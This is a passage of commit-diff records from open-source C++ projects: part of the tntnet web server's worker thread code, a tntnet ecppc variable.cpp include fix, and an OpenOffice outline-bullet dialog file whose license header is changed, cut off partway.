tntnet; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330,\nBoston, MA 02111-1307 USA\n*\/\n\n#include \"tnt\/worker.h\"\n#include \"tnt\/dispatcher.h\"\n#include \"tnt\/job.h\"\n#include <tnt\/httprequest.h>\n#include <tnt\/httpreply.h>\n#include <tnt\/httperror.h>\n#include <tnt\/http.h>\n#include <tnt\/poller.h>\n#include <tnt\/sessionscope.h>\n#include <cxxtools\/log.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <arpa\/inet.h>\n#include <locale>\n\nlog_define(\"tntnet.worker\")\n\nnamespace\n{\n class ComponentUnloadLock\n {\n tnt::Component& comp;\n\n public:\n ComponentUnloadLock(tnt::Component& c)\n : comp(c)\n { comp.lock(); }\n ~ComponentUnloadLock()\n { comp.unlock(); }\n };\n\n static const char stateStarting[] = \"0 starting\";\n static const char stateWaitingForJob[] = \"1 waiting for job\";\n static const char stateParsing[] = \"2 parsing request\";\n static const char statePostParsing[] = \"3 post parsing\";\n static const char stateDispatch[] = \"4 dispatch\";\n static const char stateProcessingRequest[] = \"5 processing request\";\n static const char stateFlush[] = \"6 flush\";\n static const char stateSendReply[] = \"7 send reply\";\n static const char stateSendError[] = \"8 send error\";\n static const char stateStopping[] = \"9 stopping\";\n}\n\nnamespace tnt\n{\n cxxtools::Mutex Worker::mutex;\n unsigned Worker::nextThreadNumber = 0;\n Worker::workers_type Worker::workers;\n unsigned Worker::compLifetime = 600;\n unsigned Worker::maxRequestTime = 600;\n unsigned Worker::reportStateTime = 0;\n time_t Worker::nextReportStateTime = 0;\n unsigned Worker::minThreads = 5;\n bool Worker::enableCompression = true;\n\n Worker::ComploaderPoolType Worker::comploaderPool;\n\n Worker::Worker(Tntnet& app)\n : application(app),\n comploaderObject(comploaderPool.get()),\n comploader(comploaderObject),\n threadId(0),\n state(stateStarting),\n lastWaitTime(0)\n {\n log_debug(\"initialize thread \" << threadId);\n\n cxxtools::MutexLock lock(mutex);\n workers.insert(this);\n }\n\n Worker::~Worker()\n {\n cxxtools::MutexLock lock(mutex);\n workers.erase(this);\n comploader.cleanup(0);\n\n log_debug(\"delete worker \" << threadId << \" - \" << workers.size() << \" threads left - \" << application.getQueue().getWaitThreadCount() << \" waiting threads\");\n }\n\n void Worker::run()\n {\n threadId = pthread_self();\n Jobqueue& queue = application.getQueue();\n log_debug(\"start thread \" << threadId);\n while (queue.getWaitThreadCount() < minThreads)\n {\n log_debug(\"waiting for job\");\n state = stateWaitingForJob;\n Jobqueue::JobPtr j = queue.get();\n log_debug(\"got job - fd=\" << j->getFd());\n\n std::iostream& socket = j->getStream();\n\n try\n {\n bool keepAlive;\n do\n {\n time(&lastWaitTime);\n\n keepAlive = false;\n log_debug(\"call parser\");\n state = stateParsing;\n j->getParser().parse(socket);\n state = statePostParsing;\n\n if (socket.eof())\n log_debug(\"eof\");\n else if (j->getParser().failed())\n {\n state = stateSendError;\n log_warn(\"bad request\");\n socket << \"HTTP\/1.0 500 bad request\\r\\n\"\n \"Content-Type: text\/html\\r\\n\"\n \"\\r\\n\"\n \"<html><body><h1>Error<\/h1><p>bad request<\/p><\/body><\/html>\"\n << std::endl;\n }\n else if (socket.fail())\n log_error(\"socket failed\");\n else\n {\n j->getRequest().doPostParse();\n\n j->setWrite();\n keepAlive = processRequest(j->getRequest(), socket,\n j->decrementKeepAliveCounter());\n\n if (keepAlive)\n {\n j->setRead();\n j->clear();\n\n \/\/ if there is something to do and no threads waiting, we take\n \/\/ the next job just to improve resposiveness.\n if (queue.getWaitThreadCount() == 0\n && !queue.empty())\n {\n application.getPoller().addIdleJob(j);\n keepAlive = false;\n }\n }\n }\n } while (keepAlive);\n }\n catch (const cxxtools::net::Timeout& e)\n {\n log_debug(\"timeout - put job in poller\");\n application.getPoller().addIdleJob(j);\n }\n catch (const std::exception& e)\n {\n log_warn(\"unexpected exception: \" << e.what());\n }\n }\n\n time(&lastWaitTime);\n\n log_debug(\"end worker-thread \" << threadId);\n\n state = stateStopping;\n }\n\n bool Worker::processRequest(HttpRequest& request, std::iostream& socket,\n unsigned keepAliveCount)\n {\n \/\/ log message\n log_info(\"process request: \" << request.getMethod() << ' ' << request.getUrl()\n << \" from client \" << request.getPeerIp() << \" user-Agent \\\"\" << request.getUserAgent()\n << '\"');\n\n \/\/ create reply-object\n HttpReply reply(socket);\n reply.setVersion(request.getMajorVersion(), request.getMinorVersion());\n reply.setMethod(request.getMethod());\n std::string LANG = request.getLang();\n if (!LANG.empty())\n {\n try\n {\n std::locale loc(LANG.c_str());\n reply.out().imbue(loc);\n reply.sout().imbue(loc);\n }\n catch (const std::exception& e)\n {\n log_warn(\"unknown locale \" << LANG);\n }\n }\n\n if (request.keepAlive())\n reply.setKeepAliveCounter(keepAliveCount);\n\n \/\/ process request\n try\n {\n try\n {\n dispatch(request, reply);\n\n if (!request.keepAlive() || !reply.keepAlive())\n keepAliveCount = 0;\n\n if (keepAliveCount > 0)\n log_debug(\"keep alive\");\n else\n {\n log_debug(\"no keep alive request\/reply=\"\n << request.keepAlive() << '\/' << reply.keepAlive());\n }\n }\n catch (const HttpError& e)\n {\n throw;\n }\n catch (const std::exception& e)\n {\n throw HttpError(HTTP_INTERNAL_SERVER_ERROR, e.what());\n }\n }\n catch (const HttpError& e)\n {\n state = stateSendError;\n log_warn(\"http-Error: \" << e.what());\n socket << \"HTTP\/1.0 \" << std::string(e.what(), 3) << \"\\r\\n\"\n \"Content-Type: text\/html\\r\\n\"\n \"\\r\\n\"\n \"<html><body><h1>Error<\/h1><p>\"\n << e.what() << \"<\/p><\/body><\/html>\" << std::endl;\n return false;\n }\n\n return keepAliveCount > 0;\n }\n\n void Worker::dispatch(HttpRequest& request, HttpReply& reply)\n {\n state = stateDispatch;\n const std::string& url = request.getUrl();\n\n log_info(\"dispatch \" << request.getQuery());\n\n if (!HttpRequest::checkUrl(url))\n throw HttpError(HTTP_BAD_REQUEST, \"illegal url\");\n\n Dispatcher::PosType pos(application.getDispatcher(), request.getUrl());\n while (true)\n {\n state = stateDispatch;\n\n \/\/ pos.getNext() throws NotFoundException at end\n Dispatcher::CompidentType ci = pos.getNext();\n try\n {\n log_debug(\"load component \" << ci);\n Component& comp = comploader.fetchComp(ci, application.getDispatcher());\n ComponentUnloadLock unload_lock(comp);\n request.setPathInfo(ci.hasPathInfo() ? ci.getPathInfo() : url);\n request.setArgs(ci.getArgs());\n\n application.getScopemanager().preCall(request, ci.libname);\n\n log_info(\"call component \" << ci << \" path \" << request.getPathInfo());\n state = stateProcessingRequest;\n unsigned http_return = comp(request, reply, request.getQueryParams());\n if (http_return != DECLINED)\n {\n if (reply.isDirectMode())\n {\n log_info(\"request ready, returncode \" << http_return);\n state = stateFlush;\n reply.out().flush();\n }\n else\n {\n log_info(\"request ready, returncode \" << http_return << \" - ContentSize: \" << reply.getContentSize());\n\n application.getScopemanager().postCall(request, reply, ci.libname);\n\n if (enableCompression)\n reply.setAcceptEncoding(request.getEncoding());\n\n state = stateSendReply;\n reply.sendReply(http_return);\n }\n\n if (reply.out())\n log_info(\"reply sent\");\n\n return;\n }\n else\n log_debug(\"component \" << ci << \" returned DECLINED\");\n }\n catch (const cxxtools::dl::DlopenError& e)\n {\n log_warn(\"dl::DlopenError catched - libname \" << e.getLibname());\n }\n catch (const cxxtools::dl::SymbolNotFound& e)\n {\n log_warn(\"dl::SymbolNotFound catched - symbol \" << e.getSymbol());\n }\n }\n\n throw NotFoundException(request.getUrl());\n }\n\n void Worker::timer()\n {\n time_t currentTime;\n time(¤tTime);\n bool reportState = false;\n if (reportStateTime > 0 && currentTime > nextReportStateTime)\n {\n if (nextReportStateTime)\n reportState = true;\n nextReportStateTime = currentTime + reportStateTime;\n }\n\n cxxtools::MutexLock lock(mutex);\n for (workers_type::iterator it = workers.begin();\n it != workers.end(); ++it)\n {\n (*it)->healthCheck(currentTime);\n (*it)->cleanup(compLifetime);\n if (reportState)\n log_info(\"threadstate \" << (*it)->threadId << \": \" << (*it)->state);\n }\n }\n\n void Worker::healthCheck(time_t currentTime)\n {\n if (state != stateWaitingForJob\n && lastWaitTime != 0\n && maxRequestTime > 0)\n {\n if (currentTime - lastWaitTime > maxRequestTime)\n {\n log_fatal(\"requesttime \" << maxRequestTime << \" seconds in thread \"\n << threadId << \" exceeded - exit process\");\n log_info(\"current state: \" << state);\n exit(111);\n }\n }\n }\n\n Worker::workers_type::size_type Worker::getCountThreads()\n {\n cxxtools::MutexLock lock(mutex);\n return workers.size();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/* variable.cpp\n * Copyright (C) 2003 Tommi Maekitalo\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *\/\n\n\n#include \"tnt\/ecppc\/variable.h\"\n#include <sstream>\n#include <locale>\n\nnamespace tnt\n{\n namespace ecppc\n {\n Variable::Variable(const std::string& arg, const std::string& value_)\n {\n \/\/ 'name' might be prefixed by a type\n \/\/ the variablename is the last word in 'name'\n \/\/ type is the rest before the variablename\n \/\/ examples:\n \/\/ \" int var \"\n \/\/ \" var\"\n \/\/ \" ns :: someclass param\"\n std::ostringstream a;\n\n std::string::size_type e = arg.size();\n while (e > 0 && std::isspace(arg.at(e - 1)))\n --e;\n\n \/\/ e points past the last character of our arg\n\n if (e > 1 && arg.at(e - 2) == '[' && arg.at(e-1) == ']')\n {\n isvector = true;\n e -= 2;\n while (e > 0 && std::isspace(arg.at(e - 1)))\n --e;\n }\n else\n isvector = false;\n\n std::string::size_type b = e;\n while (b > 0 && !std::isspace(arg.at(b - 1)))\n --b;\n \/\/ b points to the first character of our arg\n\n std::string::size_type t = b;\n while (t > 0 && std::isspace(arg.at(t - 1)))\n --t;\n \/\/ t points past the last character of the type\n\n name = std::string(arg.begin() + b, arg.begin() + e);\n type = std::string(arg.begin(), arg.begin() + t);\n value = value_;\n\n }\n\n void Variable::getParamCodeVector(std::ostream& o) const\n {\n if (type.empty())\n {\n o << \"typedef std::vector<std::string> \" << name << \"_type;\\n\"\n << name << \"_type \" << name << \"(qparam.begin(\\\"\" << name\n << \"\\\"), qparam.end());\\n\";\n }\n else\n {\n o << \"typedef std::vector<\" << type << \"> \" << name << \"_type;\\n\"\n << name << \"_type \" << name << \";\\n\"\n << \"std::transform(qparam.begin(\\\"\" << name\n << \"\\\"), qparam.end(), std::back_inserter(\" << name\n << \"), tnt::stringToConverter<\" << type\n << \">(reply.out().getloc()));\\n\";\n }\n }\n\n void Variable::getParamCode(std::ostream& o) const\n {\n if (isvector)\n getParamCodeVector(o);\n else if (!type.empty())\n {\n \/\/ we have a type\n\n \/\/ print out type and name\n o << type << ' ' << name << \" = \";\n\n if (value.empty())\n {\n \/\/ no default-value\n\n o << \"tnt::stringToConverter<\" << type\n << \">(reply.out().getloc())( qparam.param(\\\"\" << name << \"\\\") );\\n\";\n }\n else\n {\n \/\/ with default-value\n o << \"qparam.has(\\\"\" << name << \"\\\") ? tnt::stringToWithDefaultConverter<\"\n << type << \">(\" << value << \", reply.out().getloc())(qparam.param(\\\"\"\n << name << \"\\\")) : \" << value << \";\\n\";\n }\n }\n else\n {\n \/\/ type defaults to std::string\n o << \"std::string \" << name \n << \" = qparam.param(\\\"\" << name << '\"';\n if (!value.empty())\n o << \", \" << value;\n\n o << \");\\n\";\n }\n }\n\n void Variable::getConfigInit(std::ostream& o, const std::string& classname) const\n {\n if (!type.empty())\n {\n \/\/ we have a type\n\n o << \" if (config.hasValue(\\\"\" << name << \"\\\"))\\n\"\n << \" \" << classname << \"::\" << name << \" = tnt::stringTo<\" << type\n << \">( config.getValue(\\\"\" << name << \"\\\") );\\n\";\n }\n else\n {\n \/\/ type defaults to std::string\n if (value.empty())\n o << \" \" << classname << \"::\" << name \n << \" = config.getValue(\\\"\" << name << \"\\\");\\n\";\n else\n o << \" if (config.hasValue(\\\"\" << name << \"\\\"))\\n\"\n << \" \" << classname << \"::\" << name << \" = config.getValue(\\\"\"\n << name << \"\\\");\\n\";\n }\n }\n\n void Variable::getConfigDecl(std::ostream& o, const std::string& classname) const\n {\n std::string t = type.empty() ? \"std::string\" : type;\n\n o << t << ' ' << classname << \"::\" << name;\n if (!value.empty())\n o << \" = \" << value;\n o << \";\\n\";\n }\n\n void Variable::getConfigHDecl(std::ostream& o) const\n {\n std::string t = type.empty() ? \"std::string\" : type;\n\n o << \" static \" << t << \" \" << name << \";\\n\";\n }\n }\n}\n<commit_msg>fix include<commit_after>\/* variable.cpp\n * Copyright (C) 2003 Tommi Maekitalo\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *\/\n\n\n#include \"tnt\/ecppc\/variable.h\"\n#include <sstream>\n#include <cctype>\n\nnamespace tnt\n{\n namespace ecppc\n {\n Variable::Variable(const std::string& arg, const std::string& value_)\n {\n \/\/ 'name' might be prefixed by a type\n \/\/ the variablename is the last word in 'name'\n \/\/ type is the rest before the variablename\n \/\/ examples:\n \/\/ \" int var \"\n \/\/ \" var\"\n \/\/ \" ns :: someclass param\"\n std::ostringstream a;\n\n std::string::size_type e = arg.size();\n while (e > 0 && std::isspace(arg.at(e - 1)))\n --e;\n\n \/\/ e points past the last character of our arg\n\n if (e > 1 && arg.at(e - 2) == '[' && arg.at(e-1) == ']')\n {\n isvector = true;\n e -= 2;\n while (e > 0 && std::isspace(arg.at(e - 1)))\n --e;\n }\n else\n isvector = false;\n\n std::string::size_type b = e;\n while (b > 0 && !std::isspace(arg.at(b - 1)))\n --b;\n \/\/ b points to the first character of our arg\n\n std::string::size_type t = b;\n while (t > 0 && std::isspace(arg.at(t - 1)))\n --t;\n \/\/ t points past the last character of the type\n\n name = std::string(arg.begin() + b, arg.begin() + e);\n type = std::string(arg.begin(), arg.begin() + t);\n value = value_;\n\n }\n\n void Variable::getParamCodeVector(std::ostream& o) const\n {\n if (type.empty())\n {\n o << \"typedef std::vector<std::string> \" << name << \"_type;\\n\"\n << name << \"_type \" << name << \"(qparam.begin(\\\"\" << name\n << \"\\\"), qparam.end());\\n\";\n }\n else\n {\n o << \"typedef std::vector<\" << type << \"> \" << name << \"_type;\\n\"\n << name << \"_type \" << name << \";\\n\"\n << \"std::transform(qparam.begin(\\\"\" << name\n << \"\\\"), qparam.end(), std::back_inserter(\" << name\n << \"), tnt::stringToConverter<\" << type\n << \">(reply.out().getloc()));\\n\";\n }\n }\n\n void Variable::getParamCode(std::ostream& o) const\n {\n if (isvector)\n getParamCodeVector(o);\n else if (!type.empty())\n {\n \/\/ we have a type\n\n \/\/ print out type and name\n o << type << ' ' << name << \" = \";\n\n if (value.empty())\n {\n \/\/ no default-value\n\n o << \"tnt::stringToConverter<\" << type\n << \">(reply.out().getloc())( qparam.param(\\\"\" << name << \"\\\") );\\n\";\n }\n else\n {\n \/\/ with default-value\n o << \"qparam.has(\\\"\" << name << \"\\\") ? tnt::stringToWithDefaultConverter<\"\n << type << \">(\" << value << \", reply.out().getloc())(qparam.param(\\\"\"\n << name << \"\\\")) : \" << value << \";\\n\";\n }\n }\n else\n {\n \/\/ type defaults to std::string\n o << \"std::string \" << name \n << \" = qparam.param(\\\"\" << name << '\"';\n if (!value.empty())\n o << \", \" << value;\n\n o << \");\\n\";\n }\n }\n\n void Variable::getConfigInit(std::ostream& o, const std::string& classname) const\n {\n if (!type.empty())\n {\n \/\/ we have a type\n\n o << \" if (config.hasValue(\\\"\" << name << \"\\\"))\\n\"\n << \" \" << classname << \"::\" << name << \" = tnt::stringTo<\" << type\n << \">( config.getValue(\\\"\" << name << \"\\\") );\\n\";\n }\n else\n {\n \/\/ type defaults to std::string\n if (value.empty())\n o << \" \" << classname << \"::\" << name \n << \" = config.getValue(\\\"\" << name << \"\\\");\\n\";\n else\n o << \" if (config.hasValue(\\\"\" << name << \"\\\"))\\n\"\n << \" \" << classname << \"::\" << name << \" = config.getValue(\\\"\"\n << name << \"\\\");\\n\";\n }\n }\n\n void Variable::getConfigDecl(std::ostream& o, const std::string& classname) const\n {\n std::string t = type.empty() ? \"std::string\" : type;\n\n o << t << ' ' << classname << \"::\" << name;\n if (!value.empty())\n o << \" = \" << value;\n o << \";\\n\";\n }\n\n void Variable::getConfigHDecl(std::ostream& o) const\n {\n std::string t = type.empty() ? \"std::string\" : type;\n\n o << \" static \" << t << \" \" << name << \";\\n\";\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: dlgolbul.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: kz $ $Date: 2005-01-13 17:26:36 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifdef SD_DLLIMPLEMENTATION\n#undef SD_DLLIMPLEMENTATION\n#endif\n\n#include \"OutlineBulletDlg.hxx\"\n\n#ifndef _SVX_SVXIDS_HRC\n#include <svx\/svxids.hrc>\n#endif\n#ifndef _SFX_OBJSH_HXX \/\/autogen\n#include <sfx2\/objsh.hxx>\n#endif\n#define ITEMID_COLOR_TABLE SID_COLOR_TABLE\n#ifndef _SVX_DRAWITEM_HXX \/\/autogen\n#include <svx\/drawitem.hxx>\n#endif\n#ifndef _SVX_BULITEM_HXX\n#include <svx\/bulitem.hxx>\n#endif\n#ifndef _EEITEM_HXX\n#include <svx\/eeitem.hxx>\n#endif\n\n\/\/CHINA001 #include <svx\/numpages.hxx>\n#include <svx\/numitem.hxx>\n\n#include <svx\/dialogs.hrc>\n#ifndef _SFXINTITEM_HXX \/\/autogen\n#include <svtools\/intitem.hxx>\n#endif\n\n#ifndef _SVDMARK_HXX \/\/autogen\n#include <svx\/svdmark.hxx>\n#endif\n\n#ifndef SD_VIEW_HXX\n#include \"View.hxx\"\n#endif\n\n#ifndef _SVDOBJ_HXX \/\/autogen\n#include <svx\/svdobj.hxx>\n#endif\n\n#ifndef _SFXSTYLE_HXX \/\/autogen\n#include <svtools\/style.hxx>\n#endif\n\n#ifndef _DRAWDOC_HXX\n#include <drawdoc.hxx>\n#endif\n\n#ifndef _SD_SDRESID_HXX\n#include \"sdresid.hxx\"\n#endif\n\n#include \"glob.hrc\"\n#include \"dlgolbul.hrc\"\n\/\/#include \"enumdlg.hxx\"\n#include \"bulmaper.hxx\"\n#include \"DrawDocShell.hxx\"\n#include <svx\/svxids.hrc> \/\/add CHINA001\n#include <svtools\/aeitem.hxx> \/\/add CHINA001\n\nnamespace sd {\n\n\/*************************************************************************\n|*\n|* Konstruktor des Tab-Dialogs: Fuegt die Seiten zum Dialog hinzu\n|*\n\\************************************************************************\/\n\nOutlineBulletDlg::OutlineBulletDlg(\n ::Window* pParent,\n const SfxItemSet* pAttr,\n ::sd::View* pView )\n : SfxTabDialog ( pParent, SdResId(TAB_OUTLINEBULLET) ),\n aInputSet ( *pAttr ),\n bTitle ( FALSE ),\n pSdView ( pView )\n{\n FreeResource();\n\n aInputSet.MergeRange( SID_PARAM_NUM_PRESET, SID_PARAM_CUR_NUM_LEVEL );\n aInputSet.Put( *pAttr );\n\n pOutputSet = new SfxItemSet( *pAttr );\n pOutputSet->ClearItem();\n\n BOOL bOutliner = FALSE;\n\n \/\/ Sonderbehandlung wenn eine Title Objekt selektiert wurde\n if( pView )\n {\n const SdrMarkList& rMarkList = pView->GetMarkedObjectList();\n const ULONG nCount = rMarkList.GetMarkCount();\n for(ULONG nNum = 0; nNum < nCount; nNum++)\n {\n SdrObject* pObj = rMarkList.GetMark(nNum)->GetObj();\n if( pObj->GetObjInventor() == SdrInventor )\n {\n\n switch(pObj->GetObjIdentifier())\n {\n case OBJ_TITLETEXT:\n bTitle = TRUE;\n break;\n case OBJ_OUTLINETEXT:\n bOutliner = TRUE;\n break;\n }\n }\n }\n }\n\n if( SFX_ITEM_SET != aInputSet.GetItemState(EE_PARA_NUMBULLET))\n {\n const SvxNumBulletItem *pItem = NULL;\n if(bOutliner)\n {\n SfxStyleSheetBasePool* pSSPool = pView->GetDocSh()->GetStyleSheetPool();\n String aStyleName((SdResId(STR_LAYOUT_OUTLINE)));\n aStyleName.AppendAscii( RTL_CONSTASCII_STRINGPARAM( \" 1\" ) );\n SfxStyleSheetBase* pFirstStyleSheet = pSSPool->Find( aStyleName, SFX_STYLE_FAMILY_PSEUDO);\n if( pFirstStyleSheet )\n pFirstStyleSheet->GetItemSet().GetItemState(EE_PARA_NUMBULLET, FALSE, (const SfxPoolItem**)&pItem);\n }\n\n if( pItem == NULL )\n pItem = (SvxNumBulletItem*) aInputSet.GetPool()->GetSecondaryPool()->GetPoolDefaultItem(EE_PARA_NUMBULLET);\n\n DBG_ASSERT( pItem, \"Kein EE_PARA_NUMBULLET im Pool! [CL]\" );\n\n aInputSet.Put(*pItem, EE_PARA_NUMBULLET);\n }\n\n \/* debug\n if( SFX_ITEM_SET == aInputSet.GetItemState(EE_PARA_NUMBULLET, FALSE, &pItem ))\n {\n SvxNumRule& rItem = *((SvxNumBulletItem*)pItem)->GetNumRule();\n for( int i = 0; i < 9; i++ )\n {\n SvxNumberFormat aNumberFormat = rItem.GetLevel(i);\n }\n }\n *\/\n\n if(bTitle && aInputSet.GetItemState(EE_PARA_NUMBULLET,TRUE) == SFX_ITEM_ON )\n {\n SvxNumBulletItem* pItem = (SvxNumBulletItem*)aInputSet.GetItem(EE_PARA_NUMBULLET,TRUE);\n SvxNumRule* pRule = pItem->GetNumRule();\n if(pRule)\n {\n SvxNumRule aNewRule( *pRule );\n aNewRule.SetFeatureFlag( NUM_NO_NUMBERS, TRUE );\n\n SvxNumBulletItem aNewItem( aNewRule, EE_PARA_NUMBULLET );\n aInputSet.Put(aNewItem);\n }\n }\n\n SdBulletMapper::PreMapNumBulletForDialog( aInputSet );\n\n SetInputSet( &aInputSet );\n\n if(!bTitle)\n AddTabPage(RID_SVXPAGE_PICK_SINGLE_NUM);\/\/CHINA001 AddTabPage(RID_SVXPAGE_PICK_SINGLE_NUM, &SvxSingleNumPickTabPage::Create, 0);\n else\n RemoveTabPage( RID_SVXPAGE_PICK_SINGLE_NUM );\n\n AddTabPage( RID_SVXPAGE_PICK_BULLET ); \/\/CHINA001 AddTabPage(RID_SVXPAGE_PICK_BULLET , &SvxBulletPickTabPage::Create, 0);\n AddTabPage( RID_SVXPAGE_PICK_BMP ); \/\/CHINA001 AddTabPage(RID_SVXPAGE_PICK_BMP , &SvxBitmapPickTabPage::Create, 0);\n AddTabPage(RID_SVXPAGE_NUM_OPTIONS ); \/\/CHINA001 AddTabPage(RID_SVXPAGE_NUM_OPTIONS , &SvxNumOptionsTabPage::Create, 0);\n AddTabPage(RID_SVXPAGE_NUM_POSITION ); \/\/CHINA001 AddTabPage(RID_SVXPAGE_NUM_POSITION , &SvxNumPositionTabPage::Create, 0);\n\n}\n\nOutlineBulletDlg::~OutlineBulletDlg()\n{\n delete pOutputSet;\n}\n\nvoid OutlineBulletDlg::PageCreated( USHORT nId, SfxTabPage &rPage )\n{\n switch ( nId )\n {\n case RID_SVXPAGE_NUM_OPTIONS:\n {\n if( pSdView )\n {\n FieldUnit eMetric = pSdView->GetDoc()->GetUIUnit();\n \/\/CHINA001 ((SvxNumOptionsTabPage&)rPage).SetMetric(eMetric);\n SfxAllItemSet aSet(*(GetInputSetImpl()->GetPool()));\/\/add CHINA001\n aSet.Put ( SfxAllEnumItem(SID_METRIC_ITEM,eMetric));\/\/add CHINA001\n rPage.PageCreated(aSet);\/\/add CHINA001\n }\n }\n break;\n case RID_SVXPAGE_NUM_POSITION:\n {\n if( pSdView )\n {\n FieldUnit eMetric = pSdView->GetDoc()->GetUIUnit();\n \/\/CHINA001 ((SvxNumPositionTabPage&)rPage).SetMetric(eMetric);\n SfxAllItemSet aSet(*(GetInputSetImpl()->GetPool()));\/\/add CHINA001\n aSet.Put ( SfxAllEnumItem(SID_METRIC_ITEM,eMetric));\/\/add CHINA001\n rPage.PageCreated(aSet);\/\/add CHINA001\n }\n }\n break;\n }\n}\n\nconst SfxItemSet* OutlineBulletDlg::GetOutputItemSet() const\n{\n SfxItemSet aSet( *SfxTabDialog::GetOutputItemSet() );\n pOutputSet->Put( aSet );\n\n const SfxPoolItem *pItem = NULL;\n if( SFX_ITEM_SET == pOutputSet->GetItemState(pOutputSet->GetPool()->GetWhich(SID_ATTR_NUMBERING_RULE), FALSE, &pItem ))\n {\n SdBulletMapper::MapFontsInNumRule( *((SvxNumBulletItem*)pItem)->GetNumRule(), *pOutputSet );\n\n SfxUInt16Item aBulletState( EE_PARA_BULLETSTATE, 1 );\n pOutputSet->Put(aBulletState);\n }\n\n SdBulletMapper::PostMapNumBulletForDialog( *pOutputSet );\n\n if(bTitle && pOutputSet->GetItemState(EE_PARA_NUMBULLET,TRUE) == SFX_ITEM_ON )\n {\n SvxNumBulletItem* pItem = (SvxNumBulletItem*)pOutputSet->GetItem(EE_PARA_NUMBULLET,TRUE);\n SvxNumRule* pRule = pItem->GetNumRule();\n if(pRule)\n pRule->SetFeatureFlag( NUM_NO_NUMBERS, FALSE );\n }\n\n return pOutputSet;\n}\n\n} \/\/ end of namespace sd\n<commit_msg>INTEGRATION: CWS ooo19126 (1.7.242); FILE MERGED 2005\/09\/05 13:21:47 rt 1.7.242.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: dlgolbul.cxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 03:57:39 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifdef SD_DLLIMPLEMENTATION\n#undef SD_DLLIMPLEMENTATION\n#endif\n\n#include \"OutlineBulletDlg.hxx\"\n\n#ifndef _SVX_SVXIDS_HRC\n#include <svx\/svxids.hrc>\n#endif\n#ifndef _SFX_OBJSH_HXX \/\/autogen\n#include <sfx2\/objsh.hxx>\n#endif\n#define ITEMID_COLOR_TABLE SID_COLOR_TABLE\n#ifndef _SVX_DRAWITEM_HXX \/\/autogen\n#include <svx\/drawitem.hxx>\n#endif\n#ifndef _SVX_BULITEM_HXX\n#include <svx\/bulitem.hxx>\n#endif\n#ifndef _EEITEM_HXX\n#include <svx\/eeitem.hxx>\n#endif\n\n\/\/CHINA001 #include <svx\/numpages.hxx>\n#include <svx\/numitem.hxx>\n\n#include 